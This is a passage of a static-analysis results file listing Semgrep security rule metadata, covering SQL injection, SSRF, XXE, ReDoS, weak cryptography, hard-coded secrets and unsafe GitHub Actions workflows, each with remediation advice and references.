[Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","id":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","name":"java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"help":{"markdown":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n","text":"Found a potentially user-controllable argument in the construction of a regular expressions. This may result in excessive resource consumption when applied to certain inputs, or when the user is allowed to control the match target. Avoid allowing users to specify regular expressions processed by the server. If you must support user-controllable input in a regular expression, use an allow-list to restrict the expressions users may supply to limit catastrophic backtracking."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","id":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","name":"ruby.rails.security.brakeman.check-regex-dos.check-regex-dos","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-regex-dos.check-regex-dos"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.code.vm-express.vm-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/javascript.express.code.vm-express.vm-express","id":"javascript.express.code.vm-express.vm-express","name":"javascript.express.code.vm-express.vm-express","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.code.vm-express.vm-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"help":{"markdown":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv)\n - [https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatecipheralgorithm-password-options)\n - [https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options](https://nodejs.org/api/crypto.html#cryptocreatedecipheralgorithm-password-options)\n","text":"The deprecated functions 'createCipher' and 'createDecipher' generate the same initialization vector every time. For counter modes such as CTR, GCM, or CCM this leads to break of both confidentiality and integrity, if the key is used more than once. Other modes are still affected in their strength, though they're not completely broken. Use 'createCipheriv' or 'createDecipheriv' instead."},"helpUri":"https://semgrep.dev/r/javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","id":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","name":"javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv","properties":{"precision":"very-high","tags":["CWE-1204: Generation of Weak Initialization Vector (IV)","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.node-crypto.security.create-de-cipher-no-iv.create-de-cipher-no-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own  set of security policies. However, certain container images may contain  `setuid` or `setgid` binaries that could allow an attacker to perform  privilege escalation and gain access to sensitive resources. To mitigate  this risk, it's recommended to add a `securityContext` to the container in  the pod, with the parameter `allowPrivilegeEscalation` set to `false`.  This will prevent the container from running any privileged processes and  limit the impact of any potential attacks.  In the container `$CONTAINER` this parameter is set to `true` which makes this container much more vulnerable to privelege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","id":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","name":"yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation-true.allow-privilege-escalation-true"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"help":{"markdown":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp)\n - [https://docs.python.org/3/library/tempfile.html#tempfile.mktemp](https://docs.python.org/3/library/tempfile.html#tempfile.mktemp)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The function `mktemp` is deprecated. When using this function, it is possible for an attacker to modify the created file before the filename is returned. Use `NamedTemporaryFile()` instead and pass it the `delete=False` parameter."},"helpUri":"https://semgrep.dev/r/python.lang.file.avoid-mktemp.avoid-mktemp","id":"python.lang.file.avoid-mktemp.avoid-mktemp","name":"python.lang.file.avoid-mktemp.avoid-mktemp","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.file.avoid-mktemp.avoid-mktemp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint.pg-sqli-taint","id":"go.net.sql.pg-sqli-taint.pg-sqli-taint","name":"go.net.sql.pg-sqli-taint.pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint.pg-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"help":{"markdown":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the functions `Math.random()` or `java.util.Random()`. These are both not cryptographically strong random number generators (RNGs). If you are using these RNGs to create passwords or secret tokens, use `java.security.SecureRandom` instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.weak-random.weak-random","id":"java.lang.security.audit.crypto.weak-random.weak-random","name":"java.lang.security.audit.crypto.weak-random.weak-random","properties":{"precision":"very-high","tags":["CWE-330: Use of Insufficiently Random Values","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.weak-random.weak-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"help":{"markdown":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request)\n - [https://golang.org/pkg/net/http/#Get](https://golang.org/pkg/net/http/#Get)\n","text":"Checks for requests sent via http.$FUNC to http:// URLS. This is dangerous because the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, send requests only to https:// URLS."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","id":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","name":"problem-based-packs.insecure-transport.go-stdlib.http-request.http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.http-request.http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","id":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","name":"csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint.systemdata-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","id":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","name":"javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.request.ssrf-deepsemgrep.ssrf-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in Java, it is possible to adopt prepared statements by using the `java.sql.PreparedStatement` class with bind variables."},"helpUri":"https://semgrep.dev/r/java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","id":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","name":"java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.jdbctemplate-sqli.jdbctemplate-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"help":{"markdown":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf](https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf)\n","text":"XML external entities are enabled for this XMLInputFactory. This is vulnerable to XML external entity attacks. Disable external entities by setting \"javax.xml.stream.isSupportingExternalEntities\" to false."},"helpUri":"https://semgrep.dev/r/java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","id":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","name":"java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xmlinputfactory-external-entities-enabled.xmlinputfactory-external-entities-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","id":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","name":"ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-hardcoded-secret.ruby-redis-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"help":{"markdown":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout)\n - [https://securitylab.github.com/research/github-actions-preventing-pwn-requests/](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)\n - [https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md](https://github.com/justinsteven/advisories/blob/master/2021_github_actions_checkspelling_token_leak_via_advice_symlink.md)\n - [https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)\n","text":"This GitHub Actions workflow file uses `workflow_run` and checks out code from the incoming pull request. When using `workflow_run`, the Action runs in the context of the target repository, which includes access to all repository secrets. Normally, this is safe because the Action only runs code from the target repository, not the incoming PR. However, by checking out the incoming PR code, you're now using the incoming code for the rest of the action. You may be inadvertently executing arbitrary code from the incoming PR with access to repository secrets, which would let an attacker steal repository secrets. This normally happens by running build scripts (e.g., `npm build` and `make`) or dependency installation scripts (e.g., `python setup.py install`). Audit your workflow file to make sure no code from the incoming PR is executed. Please see https://securitylab.github.com/research/github-actions-preventing-pwn-requests/ for additional mitigations."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","id":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","name":"yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.workflow-run-target-code-checkout.workflow-run-target-code-checkout"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in Kotlin](https://developer.android.com/reference/kotlin/java/sql/PreparedStatement).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.jdbctemplate-sqli.jdbctemplate-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Kotlin, it is possible to adopt prepared statements using the `connection.PreparedStatement` class with parameterized queries. For more information, see: [Prepared statements in 